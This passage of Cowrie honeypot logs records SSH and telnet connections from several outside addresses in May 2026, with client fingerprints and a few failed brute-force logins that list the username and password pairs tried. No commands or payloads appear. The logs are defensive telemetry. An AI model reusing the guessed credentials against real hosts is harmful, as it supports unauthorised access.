{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":57800,"dst_ip":"10.17.0.5","dst_port":23,"session":"36922688ae93","protocol":"telnet","message":"New connection: 192.119.13.58:57800 (10.17.0.5:23) [session: 36922688ae93]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:54:27.528848Z"}
{"eventid":"cowrie.session.closed","duration":48.10937261581421,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:54:30.752702Z","src_ip":"192.119.13.58","session":"96900e26e462","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":37234,"dst_ip":"10.17.0.5","dst_port":23,"session":"74805fab0d2c","protocol":"telnet","message":"New connection: 192.119.13.58:37234 (10.17.0.5:23) [session: 74805fab0d2c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:54:36.462802Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":48428,"dst_ip":"10.17.0.5","dst_port":23,"session":"2d7c9bd73f84","protocol":"telnet","message":"New connection: 192.119.13.58:48428 (10.17.0.5:23) [session: 2d7c9bd73f84]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:54:46.046643Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.153.68.219","src_port":54224,"dst_ip":"10.17.0.5","dst_port":22,"session":"736dddbb60ff","protocol":"ssh","message":"New connection: 103.153.68.219:54224 (10.17.0.5:22) [session: 736dddbb60ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:54:46.693189Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:54:46.697996Z","src_ip":"103.153.68.219","session":"736dddbb60ff","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:54:46.945006Z","src_ip":"103.153.68.219","session":"736dddbb60ff","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":54198,"dst_ip":"10.17.0.5","dst_port":23,"session":"989dabfb16b1","protocol":"telnet","message":"New connection: 192.119.13.58:54198 (10.17.0.5:23) [session: 989dabfb16b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:54:47.343814Z"}
{"eventid":"cowrie.session.closed","duration":34.24990105628967,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:54:47.532361Z","src_ip":"192.119.13.58","session":"f97cfc446954","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"hitman","message":"login attempt [root/hitman] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:54:47.687357Z","src_ip":"103.153.68.219","session":"736dddbb60ff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:54:48.937074Z","src_ip":"103.153.68.219","session":"736dddbb60ff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":50.410876750946045,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:54:49.919546Z","src_ip":"192.119.13.58","session":"e7a9805d3b90","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.098408937454224,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:54:53.737372Z","src_ip":"192.119.13.58","session":"c5603207fe9a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.853684425354004,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:54:57.831966Z","src_ip":"192.119.13.58","session":"a595074a8e58","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":45140,"dst_ip":"10.17.0.5","dst_port":23,"session":"cbf7133964c4","protocol":"telnet","message":"New connection: 192.119.13.58:45140 (10.17.0.5:23) [session: cbf7133964c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:54:58.781451Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.163.121.249","src_port":37756,"dst_ip":"159.203.135.109","dst_port":22,"session":"bcade9624c76","protocol":"ssh","message":"New connection: 43.163.121.249:37756 (159.203.135.109:22) [session: bcade9624c76]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:55:01.018260Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:55:01.024107Z","src_ip":"43.163.121.249","session":"bcade9624c76","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:55:01.267849Z","src_ip":"43.163.121.249","session":"bcade9624c76","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.100.175","src_port":46484,"dst_ip":"159.203.135.109","dst_port":22,"session":"9c6144f1985e","protocol":"ssh","message":"New connection: 43.134.100.175:46484 (159.203.135.109:22) [session: 9c6144f1985e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:55:01.276119Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:55:01.282638Z","src_ip":"43.134.100.175","session":"9c6144f1985e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:55:01.520538Z","src_ip":"43.134.100.175","session":"9c6144f1985e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"rim","message":"login attempt [root/rim] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:55:02.254195Z","src_ip":"43.163.121.249","session":"bcade9624c76","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.85405731201172,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:55:02.313942Z","src_ip":"192.119.13.58","session":"6ae3814bba97","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"@dm1n1str@t0r","message":"login attempt [root/@dm1n1str@t0r] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:55:02.509194Z","src_ip":"43.134.100.175","session":"9c6144f1985e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:55:03.506438Z","src_ip":"43.163.121.249","session":"bcade9624c76","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:55:03.755431Z","src_ip":"43.134.100.175","session":"9c6144f1985e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":46826,"dst_ip":"10.17.0.5","dst_port":23,"session":"e5447cd58da3","protocol":"telnet","message":"New connection: 192.119.13.58:46826 (10.17.0.5:23) [session: e5447cd58da3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:55:06.187495Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":58236,"dst_ip":"10.17.0.5","dst_port":23,"session":"84f26090be2d","protocol":"telnet","message":"New connection: 192.119.13.58:58236 (10.17.0.5:23) [session: 84f26090be2d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:55:08.822390Z"}
{"eventid":"cowrie.session.closed","duration":32.619481325149536,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:55:09.082181Z","src_ip":"192.119.13.58","session":"74805fab0d2c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.5554096698761,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:55:10.084137Z","src_ip":"192.119.13.58","session":"36922688ae93","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":53028,"dst_ip":"10.17.0.5","dst_port":23,"session":"0c4c2d933113","protocol":"telnet","message":"New connection: 192.119.13.58:53028 (10.17.0.5:23) [session: 0c4c2d933113]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:55:14.257024Z"}
{"eventid":"cowrie.session.closed","duration":31.00090479850769,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:55:18.344619Z","src_ip":"192.119.13.58","session":"989dabfb16b1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":47840,"dst_ip":"10.17.0.5","dst_port":23,"session":"787ef31c6964","protocol":"telnet","message":"New connection: 192.119.13.58:47840 (10.17.0.5:23) [session: 787ef31c6964]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:55:19.914924Z"}
{"eventid":"cowrie.session.closed","duration":40.40556740760803,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:55:26.452105Z","src_ip":"192.119.13.58","session":"2d7c9bd73f84","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":52494,"dst_ip":"10.17.0.5","dst_port":23,"session":"279afd2c9422","protocol":"telnet","message":"New connection: 192.119.13.58:52494 (10.17.0.5:23) [session: 279afd2c9422]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:55:28.322637Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":36850,"dst_ip":"10.17.0.5","dst_port":23,"session":"04dc29c1e668","protocol":"telnet","message":"New connection: 192.119.13.58:36850 (10.17.0.5:23) [session: 04dc29c1e668]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:55:31.522925Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":50960,"dst_ip":"10.17.0.5","dst_port":23,"session":"615c03bd3588","protocol":"telnet","message":"New connection: 192.119.13.58:50960 (10.17.0.5:23) [session: 615c03bd3588]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:55:34.869528Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":53318,"dst_ip":"10.17.0.5","dst_port":22,"session":"42eaa6c5d68c","protocol":"ssh","message":"New connection: 80.94.92.184:53318 (10.17.0.5:22) [session: 42eaa6c5d68c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:55:36.207180Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":57844,"dst_ip":"10.17.0.5","dst_port":23,"session":"3a0610297706","protocol":"telnet","message":"New connection: 192.119.13.58:57844 (10.17.0.5:23) [session: 3a0610297706]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:55:36.473136Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:55:36.478818Z","src_ip":"80.94.92.184","session":"42eaa6c5d68c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:55:36.482583Z","src_ip":"80.94.92.184","session":"42eaa6c5d68c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"solv","message":"login attempt [solv/solv] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:55:37.582674Z","src_ip":"80.94.92.184","session":"42eaa6c5d68c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:55:38.776559Z","src_ip":"80.94.92.184","session":"42eaa6c5d68c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.355717420578,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:55:39.137033Z","src_ip":"192.119.13.58","session":"cbf7133964c4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":47250,"dst_ip":"10.17.0.5","dst_port":23,"session":"7992897c6f0d","protocol":"telnet","message":"New connection: 192.119.13.58:47250 (10.17.0.5:23) [session: 7992897c6f0d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:55:40.788679Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.5.249","src_port":55814,"dst_ip":"159.203.135.109","dst_port":22,"session":"968a6444453b","protocol":"ssh","message":"New connection: 165.154.5.249:55814 (159.203.135.109:22) [session: 968a6444453b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:55:43.009274Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:55:43.014544Z","src_ip":"165.154.5.249","session":"968a6444453b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:55:43.232469Z","src_ip":"165.154.5.249","session":"968a6444453b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"2093","message":"login attempt [root/2093] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:55:44.132516Z","src_ip":"165.154.5.249","session":"968a6444453b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:55:45.354414Z","src_ip":"165.154.5.249","session":"968a6444453b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.487282037734985,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:55:46.674664Z","src_ip":"192.119.13.58","session":"e5447cd58da3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":48824,"dst_ip":"10.17.0.5","dst_port":23,"session":"a356b63e9b59","protocol":"telnet","message":"New connection: 192.119.13.58:48824 (10.17.0.5:23) [session: a356b63e9b59]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:55:47.975883Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":50572,"dst_ip":"10.17.0.5","dst_port":23,"session":"f0262253c5a9","protocol":"telnet","message":"New connection: 192.119.13.58:50572 (10.17.0.5:23) [session: f0262253c5a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:55:48.459663Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.222.198","src_port":41058,"dst_ip":"159.203.135.109","dst_port":22,"session":"0c2a99476098","protocol":"ssh","message":"New connection: 69.6.222.198:41058 (159.203.135.109:22) [session: 0c2a99476098]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:55:49.580736Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:55:49.584998Z","src_ip":"69.6.222.198","session":"0c2a99476098","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3d